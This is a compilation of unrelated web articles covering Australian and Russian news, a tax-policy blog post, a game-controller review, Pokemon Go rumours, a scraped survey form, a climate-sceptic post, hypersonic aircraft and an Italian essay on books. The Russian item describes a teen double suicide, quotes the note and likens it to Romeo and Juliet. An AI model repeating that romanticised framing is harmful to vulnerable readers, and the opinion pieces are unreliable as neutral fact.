-A Sydney lawyer allegedly caught using the identity of a dead client to access the prized Members Reserve at the Melbourne Cricket Ground during AFL grand finals is being prosecuted for misconduct.  Denis Manning Anderson was escorted from the stadium after security officers intercepted him using the membership card of Michael Alfred Starkey - who died almost 15 years earlier - at last year's match.  Fairfax Media has been told Mr Anderson may have used Mr Starkey's membership to enter the exclusive area to watch the grand final for several years running.  Queue jumper: Denis Manning Anderson.  Last week the Legal Services Commissioner hauled Mr Anderson before the occupational division of the NSW Civil and Administrative Tribunal.  If found guilty of unsatisfactory professional conduct or professional misconduct, Mr Anderson could be removed from the roll - known as being struck off - or his practising certificate could be suspended or cancelled.
-National construction company ISIS Group Australia could be forced to change its name after 25 years because site workers have been abused as "terrorists".  The Australian company, which specialises in commercial office fit-outs and refurbishments, has reportedly been forced to scale back signage at work sites and encourage workers not to wear branded uniforms, News Corp reported.  Construction staff have been abused as terrorists by people walking past work sites, mistaking the company for the terrorist group in the Middle East.  ISIS chief executive Michael Barnes told News Corp he was upset that "ill-informed members of the public" were making the mistake.  "In recent weeks we have instructed our workers to stop wearing ISIS-branded clothing and are also in the process of scaling back on-site branding to limit attention from misinformed people and ensure the safety of our employees," Mr Barnes said.  "We are upset that what we stand for is becoming eroded by the Islamic State."  Mr Barnes said the company may consider a name change if the abuse continued.  © Nine Digital Pty Ltd 2019
-A pair of 15-year-olds from a town near Pskov in northwest Russia who had gone on the run from their parents opened fire at a police car and then killed themselves, the Russian Investigative Committee has said.  “Two armed 15-year-old teens barricaded themselves in a house in the Strugy Krasnye settlement. Law-enforcement officers had been negotiating with them for several hours, however, all in vain. Later on the teenagers stopped responding,” the investigators’ statement says.  The Russian Special Police Force officers engaged in the storming of the house said that they didn’t open fire during the operation, the press service of the Russian National Guard told TASS.  Upon entering the house officials found two bodies “with gunshot wounds.” Russian Special Police Force officers said that inside they also located an opened safe where with a sporting gun and ammunition. The boy and girl had “distinct signs of suicide,” they added.  Reports suggest that the teenagers were called Denis and Katerina. They streamed the shooting at the police van live via Periscope and posted a video on Instagram where Katerina is heard explaining in Russian that she fell out with her mother who didn’t allow her to have a sleepover at her friend’s place.  READ MORE: Teenage girls shock Russians by posting videos of their torture & killing of domestic animals  “We had a sleepover at my friend’s place. I wasn’t allowed to go, but I went anyway. They found me at night… It was harsh and it all happened in front of Denis and his mother. I ran away again,” Katerina said on the video.  The teens reportedly spent the next three days hiding from the parents at the house where the tragedy occurred on Monday.  The suicide apparently had been planned beforehand with Denis speaking on the video about the best ways to spend the last day of his life while aiming at the police car. Katerina left a farewell note on what seems to be her page on Russian social network VK.  “I loved all of you. But you didn’t notice how you ruined my mind and my life,” the note says.  In another post Katerina elaborated that she wasn’t taken hostage and that suicide was her “conscious choice.”  Following the incident, VK closed the comment section of the boy, while the page of the girl has restricted access due to privacy settings, the social network’s press secretary told RIA Novosti.  In Shakespeare’s “Romeo & Juliet” tragedy, young star-crossed lovers commit suicide. The number of guns and ammo, a bottle of Black Russian and a pack of condoms, however, adds a modern twist to the tragedy.
-The New Tax Deal: Reaganomics Redux  More than thirty years ago, Ronald Reagan came to Washington intent on reducing taxes on the wealthy and shrinking every aspect of government except defense.  The new tax deal embodies the essence of Reaganomics.  It will not stimulate the economy.  A disproportionate share of the $858 billion deal will go to people in the top 1 percent who spend only a fraction of what they earn and save the rest. Their savings are sent around the world to wherever they will earn the highest return.  The only practical effect of adding $858 billion to the deficit will be to put more pressure on Democrats to reduce non-defense spending of all sorts, including Social Security and Medicare, as well as education and infrastructure.  It is nothing short of Ronald Reagan’s (and David Stockman’s) notorious “starve the beast” strategy.  In 2012, an election year, when congressional Democrats have less power than they do now, the pressure to extend the Bush tax cuts further will be overwhelming.  Worse yet, the deal adds to the underlying structural problem that caused the Great Recession in the first place.  Since Ronald Reagan was president, median hourly wages have barely budged, and America’s vast working and middle classes have taken home a steadily smaller share of the nation’s income (adjusted for inflation). The typical male worker today is earning less than the typical male worker thirty years ago.  Yet the richest 1 percent of Americans is now taking home a larger percentage of the nation’s income than at any time since 1928. And we recall what happened in 1929.  Unless the vast majority of Americans has enough purchasing power to keep the economy going without going ever more deeply into debt, the economy will eventually go over a cliff.  That’s what happened. By the late 1990s the middle and working classes could keep spending — and thereby keep the economy moving — only by adding debt. This strategy ended when the housing bubble burst in 2007.  Without their spending, there can be no buoyant recovery.  Yes, the pending tax bill will give America’s middle and working classes slightly more cash next year. But only for one year. They won’t spend it. They’ll use it to help pay down their debts.  Will lower taxes on the rich spur them to create more jobs? Not a chance. Since 1980, Reagan’s supply-siders have said lower taxes on the rich will trickle down to everyone else. Nothing could be further from the truth.  Look at history.  During the almost three decade spanning 1951 to 1980, when the top rate was between 70 and 92 percent, the average annual growth in the American economy was 3.7 percent.  Between 1983 and the start of the Great Recession, when the top rate ranged between 35 percent and 39 percent, average growth was 3 percent.  Supply-siders are also fond of claiming that Ronald Reagan’s 1981 tax cuts caused the 1980s economic boom. There is no evidence to support this claim. In fact, that boom followed Regan’s 1982 tax increase. The 1990s boom likewise was not the result of a tax cut; most of it followed Bill Clinton’s 1993 tax increase.  Nor did George W. Bush’s tax cuts trickle down. Between 2002 and 2007 the median wage actually dropped. And Bush’s record of job creation was pathetic relative to Bill Clinton’s, when taxes were higher. Under Clinton, America added 22 million net new jobs. Under Bush, barely 8 million.  So why are Democrats voting for Reaganomics?  They say they have no choice — either vote for this or watch taxes rise on everyone starting January 1.  That Democrats have allowed themselves to get into this fix is a testament to either their timidity, obtuseness, or dependence on the campaign contributions of those at the top.  Robert Reich  Robert Reich’s Blog
-Several months after its release, it’s still difficult to track down Nintendo’s amazing NES Classic Edition. The tiny console is everything you want it to be, but it does have one tiny flaw that isn’t related to limited retail availability: incredibly short controller cords.  The cord on the single controller that comes with the NES Classic Edition is only 2.5 feet long, which makes playing far away from the TV a bit of a chore. You can buy extension cables, but everyone knows going wireless is more convenient.  Advertisement  Right now there are two primary wireless controller options for the NES Classic Edition: the $20 Nyko Miniboss and the $40 NES30 Classic Edition Wireless Controller Set from 8Bitdo. Both cut the cord and let you sit back on the couch, but which one is actually worth the Andrew Jackson or two you’ll need to spend to own them?  Pairing  Advertisement  Like the NES Classic Edition itself, both controllers are easy to setup. I plugged a wireless dongle into the front of the console and hit a button on the controller to start the pairing process.  While the Nyko Miniboss never missed a beat and always paired immediately, the 8Bitdo was more annnoying, demanding that I press a button on the receiver itself. It also requires re-pairing after restarting the console, which kind of defeats the purpose of going wireless. I didn’t have to re-pair every time I gamed, but even once or twice was annoying.  Winner: Nyko Miniboss  Battery Life  I wasn’t able to exhaust the battery of either controller in my testing—though some customer reviews indicate that the Nyko Miniboss starts to lag a bit when its battery gets low. Nyko promises that you’ll still get 15 hours on a charge while 8Bitdo claims the NES30 will last 20 hours.  Advertisement  Both units also charge over micro-USB, but the budget Miniboss doesn’t come with a cable. I could have hunted for one of my own, but instead I just charged it with the power cable for the console itself—which forced me into a gaming time out for a little while.  Winner: 8Bitdo NES30  Versatility  Advertisement  The nice thing about the 8Bitdo NES 30, and one of the reasons it costs twice as much as the Nyko Miniboss, is that its “Retro Receiver” wireless dongle works with more than just the NES30 controller. It should pair with all 8Bitdo controllers and arcade sticks. It also lets you use a PS3, PS4, WiiMote, or Wii U Pro controller with the NES, which is useful if you’ve got huge hands that might cramp holding the tiny NES 30 controller.  But best of all, the NES30 controller can also be used as a standard Bluetooth controller, which makes playing a game on your computer or home-built emulation station much more satisfying.  In contrast, the Nyko Miniboss dongle works with the controller it comes with. That’s it. Though you can plug the dongle into a Wii or Wii U and use it to play all the NES games on the Virtual Console that were never packed into the NES Classic Edition. Like River City Ransom, a key brawler absent from Nintendo’s tiny console.  Advertisement  Winner: 8Bitdo NES30  Gameplay  Advertisement  Wireless performance and nice battery life are all well and good, but it means nothing if the controller doesn’t feel right. Neither one is an exact replica of the classic sharp cornered NES controller. For one thing, buttons on both are offset, diagonally, SNES style, rather than being side-by-side like on the classic NES controller.  In fact, the 8Bitdo NES30 controller is actually very akin to a Super Nintendo controller—with an A, B, X, and Y button on the front and two shoulder buttons on top. It’s just in a rectangular NES housing. The Nyko Miniboss just sticks with two buttons and a control pad for gameplay.  Neither had any problems keeping up in Punch-Out!! or Super Mario Bros 3. But the Miniboss’s smaller directional pad just didn’t feel as good under my thumb. The NES30, strikingly similar to an original NES gamepad, felt happily familiar despite those extra buttons.  Advertisement  The NES30 also squeezes in a real game changer that fixes a major problem with the NES Classic Edition. It has a built-in shortcut for accessing the home screen on the console, fulfilling its promise of true wireless NES gameplay. I never had to leave the couch to to switch games.  Winner: 8Bitdo NES30  Bottom Line  Advertisement  Both controllers bring the NES Classic Edition further into modern times and out of 1985. Yet the $40 8Bitdo controller is better in almost every way—even if it also costs twice as much. It you’re just there to squeak out a quick game of Dr. Mario, I don’t necessarily think that extra $20 is worth it. Instead you could get a two-pack of Miniboss’s to get your Dr. Mario on with that housemate that keeps begging to know when it’s their turn.  But you’re going to be more satisfied in the long run with the 8Bitdo NES30. It is more comfortable to use, has longer battery life, and it won’t make you get up from the couch to return to the game screen.  Winner: 8Bitdo NES30
-It's only been a few days since the latest Pokemon Go update caused more and more players to return capturing Pokemon and battling gyms, and now, the Niantic CEO just teased that the hit AR mobile game is hiding a secret. Would he finally reveal that Gen 2 Pokemon release is just a few steps away? Or would he give us more clues as to what Niantic Labs is cooking up for their next update?  Niantic Labs CEO confirms Pokemon Go has a secret  John Hanke, Niantic Labs CEO, recently confirmed to GamesRadar that Pokemon Go has secrets planted in the game app. "There will always be secrets in the game that no one has found because we're always adding new secrets to the game. There's one out there right now and we'll see how that plays out over the course of the next few weeks," Hanke told Louise Blain of Gamesradar.  When Blain asked if the Pokemon Go secret was released with the Halloween event update, Hanke answered, "I am not giving you any clues." Right, and we're almost there! Yet, his answer is getting more vague than ever, leaving everyone to keep wondering. Smart move, sir!  Pokemon Go Leak  With the latest Pokemon Go update 0.45.0 for Android and 1.15.0 for iOS that came with huge bonuses due to the Free Bonus Event (until Nov.11) and Daily Quests feature, reports have also shown that the update code revealed a hundred new Pokemon that are set to arrive pretty soon. Speculations arose that these are probably the highly-awaited Gen 2 Pokemon. Generation 2 Pokemon that were found in the datamined info include Chikorita, Bayleef, Pichu, Noctowl, Cleffa, Iglybuff, Bellossom, and Politoed, among others.  The recent Pokemon Go leak also unveiled a new Transform move and an animation sequence which may mean that Niantic is also about to release Ditto, a Pokemon known to have the ability to transform. More exciting updates for us then!  What do you think about the Pokemon Go secret the Niantic CEO hinted? Could there be more interesting updates aside from the introduction of Gen 2 Pokemon? Share your thoughts on the comment section below!
-What are things you dislike about bags/ packs/ pouches, that are still used for surveying?  Gloves if I take them off  Gloves if I take them off  If you drop anything during survey, what is the most common?  Do you find it difficult to read equipment because of elements (light glare, mud, water, ice, etc.)?  Every time there is a new model/ new technology  Every time there is a new model/ new technology  Rarely, I keep something until I can't fix it anymore  Rarely, I keep something until I can't fix it anymore  How many times do you change the products you use/upgrade?  What type of closure is preferred in storage? (1=high preference, 4=low preference)  What are qualities in your storage that would be admirable?  No, that would get in the way  No, that would get in the way  Yeah, I'd try it  Yeah, I'd try it  Would storage for survey equipment on the chest/front of body be useful?  Somewhat no, not really  Somewhat no, not really  Somewhat Yes  Somewhat Yes  Do you wish there were more options for storing survey equipment?  In-Store (if they have it available)  In-Store (if they have it available)  When I'm at caving events/ conventions  When I'm at caving events/ conventions  How do you most often buy your gear?  Do you prefer to buy your gear from custom small vendors or large companies?  If you do protect equipment, what do you use?  None: I protect it  None: I protect it  A little, just from my gloves/hands coming in contact.  A little, just from my gloves/hands coming in contact.  Dirty but, it doesn't bother me. I wash it off with everything afterwords.  Dirty but, it doesn't bother me. I wash it off with everything afterwords.  Caked on: I have to brush/wipe it off every time.  Caked on: I have to brush/wipe it off every time.  How muddy/wet does your equipment get?  clipped on with/in bag  clipped on with/in bag  How do you store your survey equipment when on the move?  T  Javascript is required for this site to function, please enable.
-Attorney General Eric Holder announced Thursday that the Obama adiminstration will soon announce regulations that will make it easier for banks to do business with companies that sell legal cannabis.  Appearing at the American Forum at the University of Virginia, Holder said the Administration recognized the tough spot that cannabis dispensary owners were in and were working to rectify the situation.  You don’t want just huge amounts of cash in these places. They want to be able to use the banking system. There’s a public safety component to this. Huge amounts of cash—substantial amounts of cash just kind of lying around with no place for it to be appropriately deposited is something that would worry me, just from a law enforcement perspective.- Attorney General Eric Holder  One of the biggest problems for dispensary operators thus far has been the ability to utilize banking services, forcing most to run their business entirely with cash. In addition to logistical problems, forcing dispensaries to store and transport large sums of cash presents security issues that most business owners don’t ordinarily face. “We’re in the process now of working with our colleagues at the Treasury Department to come up with regulations that will deal with this issue,” Holder said. Holder also said that the new rules would be announced “soon” but should not be seen as an endorsement of cannabis by the federal government.
-By Duncan Kennedy  BBC News, Rome  The balcony is one of Verona's most popular tourist destinations The balcony where, according to William Shakespeare, Romeo wooed Juliet, is to be made available for weddings. The authorities in the Italian city of Verona - setting for the tale of the two lovers - say they want to foster its image as a centre for romance. The Casa Di Giulietta (house of Juliet) is in the heart of Verona. Folklore suggests it was once the home of the Cappello family - possibly the model for the Capulets in Shakespeare's fictional play, Romeo and Juliet. Although some historians say there is scant evidence to back this up, the balcony on the 14th century building is still one of the city's most popular tourist destinations. From next month, you will be able to hire it as a venue for weddings. But before you rush to this most romantic of settings consider the price - up to $1,300 (£930) for non European Union residents. Officials say they want to enhance the city's image as the perfect place for love and marriage. But remember two things: first, that Italian health and safety laws are likely to prevent modern day Romeos from climbing up the balcony to woo their brides; and second, that Shakespeare's immortal work ends in tragedy.  Bookmark with: Delicious  Digg  reddit  Facebook  StumbleUpon What are these? E-mail this to a friend Printable version
-Guest Post by Willis Eschenbach  Bill Nye the not-really-Science Guy was on Tucker Carlson tonight. Tucker tried time after time to get Nye to say how much of the change was due to humans … and time after time, Nye refused to say what his opinion was.  So Tucker got him to agree that the climate has always been changing.  Then, in response to the question as to “what the climate would be like if humans weren’t involved right now”, Bill Nye said (according to my own transcription):  NYE: “The climate would be like it was in 1750. And the economics would be that you could not grow wine-worthy grapes in Britain as you can today because the climate is changing. The use of pesticides in the Midwest would not be increasing because the pests are showing up sooner and staying around longer. The forests in Wyoming would not be overwhelmed by pine bark beetles as it is because of climate change. That’s how the world would be different if it were not for humans”.  Oh, my goodness. Isn’t that touching? Nye refuses to say how much of the change in temperature is due to humans … but at the same time he claims that if there weren’t humans, that the climate would have stopped changing in 1750. Without humans, he says, we would have a climate which was forever the same …  … and people actually believe this guy? Tucker Carlson was scathing:  CARLSON: You’re not even a scientist, you’re an engineer … So much of this you don’t know, you pretend that you know, and you gotta believe people who ask you questions.  Another escapade in the world of pseudo-science. Anyhow, after writing this I found a YouTube video of the interview—check it out, it’s good for a laugh.  Regards to all,  w.  PS—When you comment PLEASE QUOTE THE EXACT WORDS YOU ARE DISCUSSING, so we can all be clear about your subject.  Advertisements  Share this: Print  Email  Twitter  Facebook  Pinterest  LinkedIn  Reddit
-The Future? TRCC engines mean China could fly Mach 6 airplanes—like the one shown in this fan art—that could fly anywhere in the world in under three hours. It would mean speeds and altitudes not yet used by modern air defenses. Grassroots (artist)  American and Chinese defense giants are moving quickly to reach the edge of space, aiming to launch hypersonic aircraft that can cross continents in under an hour. What exactly does hypersonic mean? Speeds of over Mach 5, or more than 3,835 miles per hour. It's an arms race well worth watching. Developments have the potential to revolutionize access to space and transform transcontinental travel for civilians. It could also transform national security, making existing air and missile defenses obsolete.  SR-72 With recent technological breakthroughs, Lockheed Martin hopes to fly the Mach 6 SR-72 unmanned hypersonic aircraft by 2030. Lockheed Martin  China is home to two companies reaching for the hypersonic prize, the Chinese Aerospace Science and Technology Corporation (CASC) and the Chinese Aerospace Science and Industry Corporation (CASIC). Meanwhile, in America, Lockheed Martin is making waves, having told aviation journalists that its hypersonic technology is about ready for flight testing. Lockheed Martin's progress almost certainly refers to the turbine rocket combined cycle (TRCC), an engine that switches between turbofan, ramjet and scramjets for subsonic, supersonic, and hypersonic flight. The TRCC engine will be tested on a fighter-sized flight testbed by 2020. If all goes well, it'll shortly thereafter power the SR-72, a Mach 6, unmanned twin-engine reconnaissance aircraft that is targeted to start flight by 2030. That aircraft is designed to enter highly contested and defended airspace at altitudes of 18 and 62 miles, using its speed to outrun enemy defenses, like the SR-71 Blackbird before it. Executive Vice President and General Manager at Lockheed Martin Rob Weiss also suggested that hypersonic planes could fire hypersonic missiles. That suggests that the SR-72 could join the B-21 stealth bomber in the USAF's future global strike arsenal.  XS-1 The "Phantom Express" XS-1 is a DSTO space-launch vehicle, consisting of a rocket-powered launch plane and a second-stage rocket that will separate from the plane to launch 1.5 tons into low-earth orbit. Boeing  Another key U.S. project is the "Phantom Express" XS-1 spaceplane, which is being developed by Boeing and funded by DARPA. It's a dual-stage-to-orbit (DSTO) vehicle. Stage one: a hypersonic plane powered by liquid fueled rockets. Once the XS-1 is in near space (18- to 62-mile altitude), we reach stage two, when an expendable rocket attached to the plane's back will detach and fly into orbit to deploy its 1.5-ton payload. The carrier rocket plane then will be able to return to a runway, where it will be prepped for another launch within 24 hours. The plan is that it can undertake at least 10 launches in 10 days, providing the U.S. space system more resilience to replace satellites in the event of a conflict.  Teng Yun The Teng Yun, which CASIC intends to deliver by 2030, uses a TRCC-engined hypersonic carrier aircraft to carry the second rocket-powered stage into near space. Both stages will be reusable; the hypersonic carrier airframe could also be used to hypersonic strike and reconnaissance roles. WeChat  China, however, is developing some major competition in this same hypersonic race. There are two separate projects. For one, CASIC debuted the Teng Yun spacecraft design during the Global Space Exploration 2017 (GLEX 2017) conference in Beijing. The DSTO Teng Yun would have a combined weight of 100-150 tons. The first stage is a Mach 6 hypersonic 'carrier' aircraft, with TRCC engines that can fly to altitudes of 18 to 25 miles. Unlike the XS-1, the Teng Yun's second stage is a reusable, 10-15-ton rocket-powered spaceplane capable of carrying either 2 tons of cargo or 5 passengers. CASIC Vice President Liu Shiquan said that company has finished technology demonstration of key Teng Yun flight technology (like, you know the engine), and looks to have the two-stage space plane flying by 2030, as part of a $16 billion research effort.  Manned and Unmanned The Teng Yun's second stage can either be a launch rocket, or take five taikonauts to a future Chinese space station. CASIC  Much like the U.S. systems, the CASIC hypersonic carrier could have other applications besides space launch. It's big enough to carry significant payloads (10-15 tons), which could include sensors and weapons. With modifications, like additional fuel tanks for increased range, its hypersonic speed and near-space flight altitude could fit with Chinese military needs for fast, global reconnaissance and strike. As CASIC manufactures most of China's missiles, its experience with rocket motors, ramjet engines (and future scramjet engines) means that it likely has the resources to build the complex TRCC engines for the hypersonic carrier, and by extension a hypersonic recon and strike plane.  Chinese Hypersonic Spaceplane The Chinese hypersonic spaceplane, with a combined cycle engine that hops between jet, scramjets, and rockets, promises to be the ultimate form in reusable and easy space travel. In theory, it could cross the Pacific Ocean in one hour. China hopes to have these fast birds in the sky (with people onboard!) by 2030. CCTV 13  China's second innovation is CASC's hypersonic spaceplane, which was announced in August 2016. Its engine and other critical technology are slated for completion by 2020, and a full-scale hypersonic spaceplane is expected to fly by 2030.  TRRE The turbo-aided rocket-augmented ram/scramjet engine (TRRE), which uses rocket augmentation in order to aid in the transition into the supersonic and hypersonic flight regimes, could be the world's first combined cycle engine to fly in 2025, paving the way for hypersonic near space planes and single-stage space launchers. Beijing Power Machinery Research Institute  CASC's ambitions match the projected timeline for the rocket-assisted scramjet being built by the Beijing Power Machinery Research Institute for near space strike and reconnaissance, as well as dual- and single-stage-to-orbit (SSTO) vehicles. BPMRI will commence full-scale testing of the technology demonstrator in 2020, followed by the flight of a full scale afterward. Further improvements will lead to a scramjet engine powerful enough for an SSTO hypersonic plane to fly directly to orbit in one piece, as opposed to the DSTO model, where only part of the spacecraft makes it to orbit. Compared to the smaller and cheaper DSTO, a sufficiently fueled SSTO spaceplane could depart from and reenter orbit on multiple occasions during the same flight, traveling at greater speed compared to a near-space-only hypersonic aircraft.  Three Phases of Reusability CASC's DSTO program has three planned stages: (1) a reusable carrier rocket plane, (2) both a reusable rocket plane and second stage, and (3) a TRCC hypersonic carrier aircraft. CASC via xyz  CASC also has more conservative plans for its own DSTO program. Its GLEX 2017 presentation showed a three-phase DSTO approach. The first phase involves a reuseable hypersonic rocket plane with an expendable upper stage rocket. In September 2016, CASC had also announced plans for a vertical-takeoff, rocket-powered spaceplane known as the Scaled Suborbital Vehicle. This Mach 8, 20-passenger, 100-ton rocket plane can reach an altitude of 81 miles and carry a second-stage rocket with a 2-ton payload. It is likely that Phase 1 of the CASC DSTO is the Scaled Suborbital Vehicle.
-«Sine libris cella, sine anima corpus»  Si è letto che una famosa ditta di arredamenti svedese ha deciso modifiche al suo principale modello di libreria in previsione di una drastica diminuzione di libri cartacei nelle case, per via della futuribile diffusione dell’ebook.  Così, agghiacciato da una prospettiva dove sparisse a poco a poco la seduzione della carta, tatto e olfatto, o il piccolo piacere di sbirciare i libri nelle case altrui, titoli e disposizione, come fotocopia di un’anima e delle sue scelte, ho tratto un po’ di volatili pensieri, che qui espongo. Sperando che i calcoli svedesi siano buoni quanto le loro leggi.  Le profezie sulla fine dei libri non son di per sé lettera nuova, senza scomodare le visioni un po’ ebeti di Farenheit 451 con gli uomini trasformati in ripetitori meccanici di parole, né il califfo Omar che incendiò la Biblioteca di Alessandria perché i libri erano o dannosi, se non conformi al Corano, o inutili se conformi. La storia è lunga quanto il Mahabharata.  Fin dal suo principio, la forma del codice, opposta ai rotoli, fu guardata con certo sospetto dai dotti, che continuarono a srotolare i loro libri in papiro o pergamena. La diffusione del formato in pagine rilegate fu merito del pensiero cristiano, i quali adepti predilessero la praticità di consultazione (e diffusione) del nuovo prodotto, che in seguito sarà perpetuato nell’alveo della Chiesa nel laborioso silenzio dei monasteri, fino a raggiungere perfetta struttura nella Bibbia di Gutenberg.  Ad inizio Ottocento, con la rapida ascesa della stampa si preconizzava il sopravvento del giornale sul libro; poi l’invenzione del fonografo di Edison che avrebbe reso tutti testi in forma sonora; e in seguito il cinema, la radio, il resto. La sfida a sostituire questo contenitore del pensiero umano ha esercitato un fascino irresistibile, oltre che affrettate previsioni. Pur rilevando nel Belpaese un attecchimento tutto sommato pigro del fenomeno digitale a discapito della tradizione, risulta evidente che l’ultimo attacco al libro ha connotati affatto diversi, e strategie più subdole, poiché si avvale della nostra complicità. L’introduzione dell’elettronica non investe solo la forma in cui fruiamo la parola scritta. Un lettore di ebook, potrebbe alla lunga trasformarsi in un oggetto anche più comodo del volume cartaceo, o assumerne la forma identica, pseudocarta compresa, con micro celle che si colorano a comando. Non il libro in sé cambia ma più ampiamente la stessa lettura, il metodo, cosa e quando si legge, il perché e nondimeno la profondità con cui ci si possa dedicare al piacere del testo, su cosa focalizziamo l’attenzione, conseguentemente cosa possiamo ricordare di un libro letto.  Perché il libro come finora sopravvissuto è un essere antico, è come noi. È autarchico, impone pagina dopo pagina l‘espressione di un determinato pensiero e la costruzione di un mondo mediato dall’immaginazione. Ma la nostra volontà di abbandonarci a quel mondo, magari vasto come Guerra e pace o la Recherche, saprà resistere alle tentazioni? La voglia, il tempo e l’attenzione che vi si dedica per una lettura silenziosa e profonda, non si sbriciolano ogni giorno di più, ingoiati nel vortice giocoso di media più veloci?  Cosa rimarrà del libro una volta entrato nel macchinario. Il libro-cyborg, di cui possiamo figurarci ingenue meraviglie, sarà sottile e potrà facilmente connetterci in rete con la biografia dell’autore, essere glossato e commentato online. Sarà una lettura multilineare, a nostro capriccio potremmo seguire le bizzarrie del caso, infarcirlo di immagini, dopo un secolo tornare alla successiva riga. Vittime di quel che il filosofo Günter Anders denomina dislivello prometeico. Lo squilibrio del rapporto uomo-macchine.  Ameremo il piccolo vasetto di Pandora, né ci accorgeremo se ciò che ne esce sarà il Male o il Bene, o il Vacuo, che conta? Il medium sarà il messaggio, ne prenderà man mano la forma, per rinverdire la formula di McLuhan.  Affamare il cervello di nuovi bisogni, sempre più volatili e immateriali, crea nuovi disturbi, psicosi, dipendenze altrettanto immateriali. Affamati e folli è uno slogan demente.  Cosa abbiano in comune il libro e la sua immagine fugace di elettricità e prodigio comincia a essere una vaga analogia. Il libro è un oggetto preciso, ingombra un dato spazio, serve a regolare la gamba del tavolo, si macchia di caffè, si spiegazza in un punto letto più volte, resta sempre bene in vista a ricordarti che c’è ed esige almeno che sia onorato, fa niente se non lo capisci del tutto o lui non capisce te, sarà un destino consumato in pagine e sudate carte, di stupefacenti macchine oliate che l’han fabbricato e mani che lo reggono.  O il libro è l’assenza del limite, un sottilissimo coso che può stare in spazi minimi: lo tocchi appena e ti sorride ed elenca diecimila titoli, magari ti consiglia in base al tempo atmosferico la lettura più adatta, aggiunge immagini, profumi e musica a tono, può contenere ogni testo possibile, in qualsivoglia lingua.  Esso sarà tutti i libri dunque nessuno. O avrà la binaria intelligenza di tutta l’era futura. Acceso, spento. Non è un problema di forma, né più un caso di sociologia della lettura, è ontologico. On/off: Esiste?  post-it di Paolo Veronese
-With 2013 now in the books for the U.S. national team, we can start looking at which players have the best chance of starting for Jurgen Klinsmann at the World Cup.  After a calendar year that saw Jurgen Klinsmann experiment with all sorts of lineups, formations and personnel, the big question surrounding the U.S. national team heading into 2014 is just which 11 players are most likely to make up the starting lineup that takes the field in Brazil next summer.There is still plenty of time for things to change because in seven months you could see players lose their form, others gain their form, and some players rebound after rough years. Whether Steve Cherundolo makes a return from his injuries, John Brooks matures into the center back so many think he can be, or Timmy Chandler returns from his national team banishment, there are any number of variables that could wind up affecting the starting lineup Klinsmann ultimately settles on.A total of 23 matches were played in 2013, which provided us with plenty of insight into which players are heading in the right direction, which players may be sliding out of the picture, and which players look like locks to start in Brazil. Here is a closer look at the 11 players we could see taking the field for the U.S. when the 2014 World Cup kicks off:Earlier in the year there was some clamoring for Brad Guzan to become the new No. 1, but Howard has responded to that challenge in style. With a strong second half of the year that reminded us just how good he can be.It took an injury to Brad Evan in order for Klinsmann to take a look at Cameron at right back and what we saw from him there against Austria should be a sign of things to come. Cameron has the length and athleticism to defend well, and he’s gaining confidence in the attacking part of playing right back, as we saw against Austria. Brad Evans will continue to pose a challenge, but with Cameron earning regular starter minutes at right back in the English Premier League, look for him to take over the job.A year of ups and downs concluded with Gonzalez posting some steady performances in central defense that suggest he’s ready to take on the starting center back roll. He’s dominant in the air, and when he’s on his game, can move very well for a big man. His strengths make him a perfect complement to Matt Besler. Young German-American John Brooks is one to watch though, and could put some pressure on Gonzalez for the spot.Earlier in the year, Besler made a memorable debut against Mexico in Estadio Azteca that sent a clear message he was a player to deal with at the center back position. His speed, positioning and ability to read the game and sniff out danger make him arguably the best center back in the pool, or at the very least the most consistent. Cameron, Clarence Goodson and Michael Orozco are some of the options Klinsmann could turn to if Besler winds up not being on the field in Brazil.Klinsmann has tried Johnson out on the left wing, where he has been a serious threat, and even at right back, where he was less impressive, but when looking at what could be the most effective starting lineup, deploying Johnson at left back looks to be the best bet for fielding the strongest possible group. DaMarcus Beasley has held his own at times in the starting role, but Johnson is the better option.Donovan has had mixed results playing as a winger, but in this starting lineup his speed and combination play could be used to maximum effect. Let’s face it, we can’t picture a healthy and fit Donovan not starting in Brazil, and chances are he will be deployed wide if he does start. Here we put him on the left wing, where a Donovan-Fabian Johnson combination could cause real problems for opponents. Graham Zusi should push Donovan for playing time here, and Fabian Johnson can't be ruled out either if Beasley holds on to the left back spot.This selection will raise some eyebrows, especially considering Jones’ recent struggles in the November friendlies, but all signs point to Klinsmann going with the veteran German-born midfielder if he is healthy and playing regularly. Someone like Mix Diskerud, Sacha Kljestan or Kyle Beckerman could ultimately take the job if Jones continues to falter, but if not, the Schalke hard man is a safe bet to be Klinsmann’s choice.The most indispensable player on the U.S. team, Bradley quite simply can’t be replaced, and the question isn’t whether he starts but rather who would serve as his best partner in central midfield. Whether he’s playing regularly for AS Roma or not, a healthy Michael Bradley will be in the starting lineup in Brazil.Klinsmann has settled in on using Dempsey as a second striker/playmaker and this is where we see him in Klinsmann’s preferred 4-2-3-1 formation here. With Donovan and Aron Johannsson providing speed on the wings, and Jozy Altidore posting up as the target forward, Dempsey could have a field day as a playmaker. Now he just needs to regain his top form come 2014. Diskerud is an option at this position if Dempsey is unable to go, as could Joe Corona be if he regains his form with Club Tijuana.The Sunderland striker has endured a rough start to his time with his new club, but the struggles are making him a better player and should only serve to help him when the World Cup roles around. We saw in the summer just what Altidore can do when given consistent service, and if Klinsmann can get this lineup on the field around Altidore, you could see him enjoy a strong World Cup. If for some reason Altidore isn't available, young Rapid Vienna striker Terrence Boyd and Seattle forward Eddie Johnson are also in the mix.Whether deployed on the left, right, or underneath Altidore in the 4-2-3-1, Johannson has shown all the qualities of a player who can help the U.S. attack. He is improving by leaps and bounds and in another six months he could be ready to lead the attack. Klinsmann has been bringing Johannsson along slowly, but when 2014 rolls around, it will be difficult to keep the AZ Alkmaar striker out of the starting lineup. Nantes midfielder Alejandro Bedoya, Zusi and Corona are some of the other options for the right wing.
